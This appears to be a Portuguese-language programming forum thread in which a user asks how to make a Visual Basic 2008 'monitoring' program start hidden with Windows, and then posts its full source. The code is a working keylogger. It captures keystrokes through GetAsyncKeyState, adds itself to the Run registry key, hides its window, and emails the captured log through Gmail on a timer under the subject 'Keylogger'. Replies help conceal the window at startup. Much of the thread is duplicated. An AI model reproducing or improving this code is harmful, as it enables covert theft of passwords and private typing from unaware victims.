COMO FAZER PROGRAMA INICIAR OCULTO QUANDO WINDOWS?
Ola estou fazendo um programa de monitoramento no visual basic 2008, bom criei um botão HIDE para ocultar a janela do programa e coloquei codigo para que ele inicie junto com o windows mas o meu problema é que quando o windows inicia abre a janela do programa! Alguem poderia me ajudar, passando o codigo que quando o windows iniciar ele não apareça e fique de forma oculta?
obrigado, mas fica sublinhado... esta correto?
Private Sub Form1_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load
tbLog.Text = [Ô]Started at: [Ô] & Now & vbNewLine
Form1.Visible = False
Form1.showstatusbar = False
End Sub
Private Sub Form1_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load
tbLog.Text = [Ô]Started at: [Ô] & Now & vbNewLine
Form1.Visible = False
Form1.showstatusbar = False
End Sub
Coloque isso no evento Shown,no form_load nao vai funcionar:
Private Sub FRM_PRODUTO_FORNECEDOR_Shown(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Shown
Me.Visible = false
End Sub
Private Sub FRM_PRODUTO_FORNECEDOR_Shown(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Shown
Me.Visible = false
End Sub
Obrigado pela dica, fiz assim mas o programa não funcionou.. bom na janela do programa tem dois botões um HIDE para ocultar a janela e outro INICIAR quando clico nele ele cria o registro para iniciar junto com windows... sendo assim colocando esse code quando tento abrir ele abre e some mto rapido não da tempo para clicar no iniciar para criar o registro, queria que quando eu executasse ele abrisse normal sem fechar ai eu clico no botão para criar o registro e depois sim por meio de algum botão fazer ele ficar oculto e não aparecer quando iniciar o windows..
Talvez usando um checkbox para marcar opção de ocultar quando iniciar o windows?
Toda vez que o programa executar,vai ficar abrindo e ter opção pra executar o hide,entao faça o seguinte:
Logo no Load Form coloca este codigo;
SaveSetting([Ô]USER[Ô],[Ô]COD[Ô],[Ô]HIDE[Ô],1)
Faz gravar no registro do windows na chave HKEY_CURRENT_USER\Software\VB AND VBA APPLICATIONS\
Blz.
Crie uma função pra checar essa chave:
Function f_checkChave() as Boolean
On Error Resume Next
If (GetSetting(My.Application.Info.AssemblyName, [Ô]HIDE[Ô], [Ô]MODE[Ô]) = 1) Then
Return True
Else
Return False
End If
End Function
No form_load ele seta os parametros do registro
SaveSetting(My.Application.Info.AssemblyName, [Ô]HIDE[Ô], [Ô]MODE[Ô], 1)
e no Form_Shown ele chama a função:
If (f_hide()) Then
Me.Visible = False
End If
O form vai ser aberto da primeira vez,depois que setar o itens na chave ele vai verificar se ja foi executado,se sim abre em oculto
Logo no Load Form coloca este codigo;
SaveSetting([Ô]USER[Ô],[Ô]COD[Ô],[Ô]HIDE[Ô],1)
Faz gravar no registro do windows na chave HKEY_CURRENT_USER\Software\VB AND VBA APPLICATIONS\
Blz.
Crie uma função pra checar essa chave:
Function f_checkChave() as Boolean
On Error Resume Next
If (GetSetting(My.Application.Info.AssemblyName, [Ô]HIDE[Ô], [Ô]MODE[Ô]) = 1) Then
Return True
Else
Return False
End If
End Function
No form_load ele seta os parametros do registro
SaveSetting(My.Application.Info.AssemblyName, [Ô]HIDE[Ô], [Ô]MODE[Ô], 1)
e no Form_Shown ele chama a função:
If (f_hide()) Then
Me.Visible = False
End If
O form vai ser aberto da primeira vez,depois que setar o itens na chave ele vai verificar se ja foi executado,se sim abre em oculto
Obrigado pela dica mas sou leigo em programação to todo enrolado aqui não entendi como fazer isso criar a function f_checkchave...
ele cria o log.txt no diretorio C:\HP\Log.txt[Ô], tbLog.Text pode alterar e só colocar o email e pronto... nesse caso tem que criar antes a pasta HP..
Da uma olhada no meu code, se puder ajudar..
Propriedades:
primeiro eu coloquei o botão e mudei os nomes nas propriedades depois criei outro botão que no caso fica de botao 1
button1, text = Hide
name = btnHide
---------------------
button1, text = Iniciar
---------------------
textebox, name = tbLog
---------------------
timer1, name = timerKeys
enabled = true
interval = 5
--------------------
timer2, name = timerSave
enabled = true
interval = 4500000 (manda email em intervalo de 1 hora e 15 minutos)
-------------------
Meu code:
Option Strict On
Imports Microsoft.Win32
Imports System.Web
Imports System.IO
Imports System.Net.Mail
Public Class Form1
Public Declare Function GetAsyncKeyState Lib [Ô]user32[Ô] (ByVal vkey As Long) As Integer
Private Sub timerKeys_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles timerKeys.Tick
Dim result As Integer
Dim key As String
Dim i As Integer
For i = 2 To 90
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
key = Chr(i)
If i = 13 Then key = vbNewLine
Exit For
End If
Next i
If key <> Nothing Then
If My.Computer.Keyboard.ShiftKeyDown OrElse My.Computer.Keyboard.CapsLock Then
tbLog.Text &= key
Else
tbLog.Text &= key.ToLower
End If
End If
If My.Computer.Keyboard.CtrlKeyDown AndAlso My.Computer.Keyboard.AltKeyDown AndAlso key = [Ô]Z[Ô] Then
Me.Show()
End If
End Sub
Private Sub btnHide_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnHide.Click
Me.Hide()
End Sub
Private Sub timerSave_Tick() Handles timerSave.Tick
Dim mail As New MailMessage()
Dim SmtpServer As New SmtpClient
SmtpServer.Credentials = New Net.NetworkCredential([Ô]seu@gmail.com[Ô], [Ô]senhadogmail[Ô])
SmtpServer.Port = 587
SmtpServer.Host = [Ô]smtp.gmail.com[Ô]
SmtpServer.EnableSsl = True
SmtpServer.EnableSsl = True
mail.To.Add([Ô]seu@gmail.com[Ô])
mail.From = New MailAddress([Ô]seu@gmail.com[Ô])
mail.Subject = [Ô]Keylogger[Ô]
mail.Body = tbLog.Text
SmtpServer.Send(mail)
My.Computer.FileSystem.WriteAllText([Ô]C:\HP\Log.txt[Ô], tbLog.Text, True)
tbLog.Clear()
End Sub
Private Sub Form1_FormClosed(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosedEventArgs) Handles Me.FormClosed
tbLog.Text &= vbNewLine & [Ô]Closed at: [Ô] & Now & vbNewLine
timerSave_Tick()
End Sub
Private Sub Form1_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load
tbLog.Text = [Ô]Started at: [Ô] & Now & vbNewLine
End Sub
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Dim regKey As Microsoft.Win32.RegistryKey
Dim Keyname As String = [Ô]Software\Microsoft\Windows\CurrentVersion\Run[Ô]
Dim Valuename As String = Me.Text
Dim value As String = Application.ExecutablePath
regKey = Microsoft.Win32.Registry.CurrentUser.OpenSubKey(Keyname, True)
regKey.SetValue(Valuename, value, RegistryValueKind.String)
End Sub
End Class
ele cria o log.txt no diretorio C:\HP\Log.txt[Ô], tbLog.Text pode alterar e só colocar o email e pronto... nesse caso tem que criar antes a pasta HP..
Da uma olhada no meu code, se puder ajudar..
Propriedades:
primeiro eu coloquei o botão e mudei os nomes nas propriedades depois criei outro botão que no caso fica de botao 1
button1, text = Hide
name = btnHide
---------------------
button1, text = Iniciar
---------------------
textebox, name = tbLog
---------------------
timer1, name = timerKeys
enabled = true
interval = 5
--------------------
timer2, name = timerSave
enabled = true
interval = 4500000 (manda email em intervalo de 1 hora e 15 minutos)
-------------------
Meu code:
Option Strict On
Imports Microsoft.Win32
Imports System.Web
Imports System.IO
Imports System.Net.Mail
Public Class Form1
Public Declare Function GetAsyncKeyState Lib [Ô]user32[Ô] (ByVal vkey As Long) As Integer
Private Sub timerKeys_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles timerKeys.Tick
Dim result As Integer
Dim key As String
Dim i As Integer
For i = 2 To 90
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
key = Chr(i)
If i = 13 Then key = vbNewLine
Exit For
End If
Next i
If key <> Nothing Then
If My.Computer.Keyboard.ShiftKeyDown OrElse My.Computer.Keyboard.CapsLock Then
tbLog.Text &= key
Else
tbLog.Text &= key.ToLower
End If
End If
If My.Computer.Keyboard.CtrlKeyDown AndAlso My.Computer.Keyboard.AltKeyDown AndAlso key = [Ô]Z[Ô] Then
Me.Show()
End If
End Sub
Private Sub btnHide_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnHide.Click
Me.Hide()
End Sub
Private Sub timerSave_Tick() Handles timerSave.Tick
Dim mail As New MailMessage()
Dim SmtpServer As New SmtpClient
SmtpServer.Credentials = New Net.NetworkCredential([Ô]seu@gmail.com[Ô], [Ô]senhadogmail[Ô])
SmtpServer.Port = 587
SmtpServer.Host = [Ô]smtp.gmail.com[Ô]
SmtpServer.EnableSsl = True
SmtpServer.EnableSsl = True
mail.To.Add([Ô]seu@gmail.com[Ô])
mail.From = New MailAddress([Ô]seu@gmail.com[Ô])
mail.Subject = [Ô]Keylogger[Ô]
mail.Body = tbLog.Text
SmtpServer.Send(mail)
My.Computer.FileSystem.WriteAllText([Ô]C:\HP\Log.txt[Ô], tbLog.Text, True)
tbLog.Clear()
End Sub
Private Sub Form1_FormClosed(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosedEventArgs) Handles Me.FormClosed
tbLog.Text &= vbNewLine & [Ô]Closed at: [Ô] & Now & vbNewLine
timerSave_Tick()
End Sub
Private Sub Form1_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load
tbLog.Text = [Ô]Started at: [Ô] & Now & vbNewLine
End Sub
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Dim regKey As Microsoft.Win32.RegistryKey
Dim Keyname As String = [Ô]Software\Microsoft\Windows\CurrentVersion\Run[Ô]
Dim Valuename As String = Me.Text
Dim value As String = Application.ExecutablePath
regKey = Microsoft.Win32.Registry.CurrentUser.OpenSubKey(Keyname, True)
regKey.SetValue(Valuename, value, RegistryValueKind.String)
End Sub
End Class
entendi,voce ta fazendo um monitorador de teclas correto?
da Alt + Z o form fica visivel né?
entao.
o codigo que eu passei acima serve pra quando voce executar o programa pela primeira vez,o form principal fica visivel,e se executado outras vezes o form fica invisivel.
a função checkchave serve pra verificar se o programa ja foi executado,caso positivo ele retorna um [Ô]True[Ô] verdadeiro OK.
Pra ele criar a psta HP voce coloca este codigo no form_load,ou cria uma sub.
Ou voce coloca simplesmente dentro do form_load:
[ô]Ele procura pela pasta HP
[ô]A pasta existe?
If (Directory.Exists([Ô]C:\HP[Ô]) = False) Then
[ô]nao,entao cria
Directory.CreateDirectory([Ô]C:\HP[Ô])
End If
pro form ficar invisivel use o codigo
me.visible = false
da Alt + Z o form fica visivel né?
entao.
o codigo que eu passei acima serve pra quando voce executar o programa pela primeira vez,o form principal fica visivel,e se executado outras vezes o form fica invisivel.
a função checkchave serve pra verificar se o programa ja foi executado,caso positivo ele retorna um [Ô]True[Ô] verdadeiro OK.
Pra ele criar a psta HP voce coloca este codigo no form_load,ou cria uma sub.
Ou voce coloca simplesmente dentro do form_load:
[ô]Ele procura pela pasta HP
[ô]A pasta existe?
If (Directory.Exists([Ô]C:\HP[Ô]) = False) Then
[ô]nao,entao cria
Directory.CreateDirectory([Ô]C:\HP[Ô])
End If
pro form ficar invisivel use o codigo
me.visible = false
Ok tentei usar seu codigo mas to todo perdido não sei onde colocar ele...
seria assim?
Private Sub Form1_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load
tbLog.Text = [Ô]Started at: [Ô] & Now & vbNewLine
SaveSetting([Ô]USER[Ô],[Ô]COD[Ô],[Ô]HIDE[Ô],1)
SaveSetting(My.Application.Info.AssemblyName, [Ô]HIDE[Ô], [Ô]MODE[Ô], 1)
End Sub
Private Sub Form1_Shown(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Shown
If (f_hide()) Then
Me.Visible = False
End If
End Sub
e como eu coloco também esse codigo: onde crio essa função?
Function f_checkChave() as Boolean
On Error Resume Next
If (GetSetting(My.Application.Info.AssemblyName, [Ô]HIDE[Ô], [Ô]MODE[Ô]) = 1) Then
Return True
Else
Return False
End If
End Function
seria assim?
Private Sub Form1_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load
tbLog.Text = [Ô]Started at: [Ô] & Now & vbNewLine
SaveSetting([Ô]USER[Ô],[Ô]COD[Ô],[Ô]HIDE[Ô],1)
SaveSetting(My.Application.Info.AssemblyName, [Ô]HIDE[Ô], [Ô]MODE[Ô], 1)
End Sub
Private Sub Form1_Shown(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Shown
If (f_hide()) Then
Me.Visible = False
End If
End Sub
e como eu coloco também esse codigo: onde crio essa função?
Function f_checkChave() as Boolean
On Error Resume Next
If (GetSetting(My.Application.Info.AssemblyName, [Ô]HIDE[Ô], [Ô]MODE[Ô]) = 1) Then
Return True
Else
Return False
End If
End Function
Tópico encerrado , respostas não são mais permitidas